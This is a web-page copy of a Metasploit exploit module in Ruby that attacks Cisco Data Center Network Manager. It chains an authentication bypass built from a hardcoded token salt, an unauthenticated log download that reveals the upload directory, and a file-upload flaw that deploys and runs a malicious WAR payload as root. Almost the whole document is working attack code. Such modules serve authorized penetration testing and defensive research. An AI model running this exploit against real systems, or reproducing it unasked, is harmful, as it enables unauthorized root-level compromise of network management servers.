CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',
16
'Description' => %q{
17
DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.
18
An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps
19
directory and achieve remote code execution as root.
20
This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on
21
versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct
22
directory for the WAR file upload.
23
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
24
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
25
(see References to understand why).
26
},
27
'Author' =>
28
[
29
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
30
],
31
'License' => MSF_LICENSE,
32
'References' =>
33
[
34
[ 'CVE', '2019-1619' ], # auth bypass
35
[ 'CVE', '2019-1620' ], # file upload
36
[ 'CVE', '2019-1622' ], # log download
37
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
38
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
39
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-dcnm-rce.txt' ],
40
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
41
],
42
'Platform' => 'java',
43
'Arch' => ARCH_JAVA,
44
'Targets' =>
45
[
46
[ 'Automatic', {} ],
47
[
48
'Cisco DCNM 11.1(1)', {}
49
],
50
[
51
'Cisco DCNM 11.0(1)', {}
52
],
53
[
54
'Cisco DCNM 10.4(2)', {}
55
]
56
],
57
'Privileged' => true,
58
'DefaultOptions' => { 'WfsDelay' => 10 },
59
'DefaultTarget' => 0,
60
'DisclosureDate' => '2019-06-26'
61
))
62
63
register_options(
64
[
65
Opt::RPORT(443),
66
OptBool.new('SSL', [true, 'Connect with TLS', true]),
67
OptString.new('TARGETURI', [true, "Default server path", '/']),
68
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),
69
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),
70
])
71
end
72
73
def check
74
# at the moment this is the best way to detect
75
# check if pmreport and fileUpload servlets return a 500 error with no params
76
res = send_request_cgi(
77
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
78
'vars_get' =>
79
{
80
'token' => rand_text_alpha(5..20)
81
},
82
'method' => 'GET'
83
)
84
if res && res.code == 500
85
res = send_request_cgi(
86
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
87
'method' => 'GET',
88
)
89
if res && res.code == 500
90
return CheckCode::Detected
91
end
92
end
93
94
CheckCode::Unknown
95
end
96
97
def target_select
98
if target != targets[0]
99
return target
100
else
101
res = send_request_cgi(
102
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),
103
'method' => 'GET'
104
)
105
if res && res.code == 200
106
if res.body.include?('version":"11.1(1)')
107
print_good("#{peer} - Detected DCNM 11.1(1)")
108
print_status("#{peer} - No authentication required, ready to exploit!")
109
return targets[1]
110
elsif res.body.include?('version":"11.0(1)')
111
print_good("#{peer} - Detected DCNM 11.0(1)")
112
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
113
return targets[2]
114
elsif res.body.include?('version":"10.4(2)')
115
print_good("#{peer} - Detected DCNM 10.4(2)")
116
print_status("#{peer} - No authentication required, ready to exploit!")
117
return targets[3]
118
else
119
print_error("#{peer} - Failed to detect target version.")
120
print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")
121
print_error(res.body)
122
print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")
123
return targets[3]
124
end
125
end
126
fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")
127
end
128
end
129
130
def auth_v11
131
res = send_request_cgi(
132
'uri' => normalize_uri(target_uri.path, 'fm/'),
133
'method' => 'GET',
134
'vars_get' =>
135
{
136
'userName' => datastore['USERNAME'],
137
'password' => datastore['PASSWORD']
138
},
139
)
140
141
if res && res.code == 200
142
# get the JSESSIONID cookie
143
if res.get_cookies
144
res.get_cookies.split(';').each do |cok|
145
if cok.include?("JSESSIONID")
146
return cok
147
end
148
end
149
end
150
end
151
end
152
153
def auth_v10
154
# step 1: get a JSESSIONID cookie and the server Date header
155
res = send_request_cgi(
156
'uri' => normalize_uri(target_uri.path, 'fm/'),
157
'method' => 'GET'
158
)
159
160
# step 2: convert the Date header and create the auth hash
161
if res && res.headers['Date']
162
jsession = res.get_cookies.split(';')[0]
163
date = Time.httpdate(res.headers['Date'])
164
server_date = date.strftime("%s").to_i * 1000
165
print_good("#{peer} - Got sysTime value #{server_date.to_s}")
166
167
# auth hash format:
168
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
169
session_id = rand(1000..50000).to_s
170
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
171
"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
172
md5_str = Base64.strict_encode64(md5)
173
174
# step 3: authenticate our cookie as admin
175
# token format: sessionId.sysTime.md5_str.username
176
res = send_request_cgi(
177
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
178
'cookie' => jsession,
179
'vars_get' =>
180
{
181
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
182
},
183
'method' => 'GET'
184
)
185
186
if res && res.code == 500
187
return jsession
188
end
189
end
190
end
191
192
# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log
193
def get_war_path
194
res = send_request_cgi(
195
'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),
196
'method' => 'GET'
197
)
198
199
if res && res.code == 200
200
tmp = Tempfile.new
201
# we have to drop this into a file first
202
# else we will get a Zip::GPFBit3Error if we use an InputStream
203
File.binwrite(tmp, res.body)
204
Zip::File.open(tmp) do |zis|
205
zis.each do |entry|
206
if entry.name =~ /jboss[0-9]*\.log/
207
fdata = zis.read(entry)
208
if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.: ]+)/]
209
tmp.close
210
tmp.unlink
211
return $1.strip
212
end
213
end
214
end
215
end
216
end
217
end
218
219
220
def exploit
221
target = target_select
222
223
if target == targets[2]
224
jsession = auth_v11
225
elsif target == targets[3]
226
jsession = auth_v10
227
end
228
229
# targets[1] DCNM 11.1(1) doesn't need auth!
230
if jsession.nil? && target != targets[1]
231
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
232
elsif target != targets[1]
233
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
234
end
235
236
war_path = get_war_path
237
if war_path.nil? or war_path.empty?
238
fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")
239
else
240
print_good("#{peer} - Obtain WAR path from logs: #{war_path}")
241
end
242
243
# Generate our payload... and upload it
244
app_base = rand_text_alphanumeric(6..16)
245
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
246
247
fname = app_base + '.war'
248
post_data = Rex::MIME::Message.new
249
post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")
250
post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")
251
post_data.add_part(war_payload,
252
"application/octet-stream", 'binary',
253
"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")
254
data = post_data.to_s
255
256
print_status("#{peer} - Uploading payload...")
257
res = send_request_cgi(
258
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
259
'method' => 'POST',
260
'data' => data,
261
'cookie' => jsession,
262
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
263
)
264
265
if res && res.code == 200 && res.body[/#{fname}/]
266
print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")
267
268
sleep 10
269
270
print_status("#{peer} - Executing payload...")
271
send_request_cgi(
272
'uri' => normalize_uri(target_uri.path, app_base),
273
'method' => 'GET'
274
)
275
else
276
fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")
277
end
278
end
279
end
280
281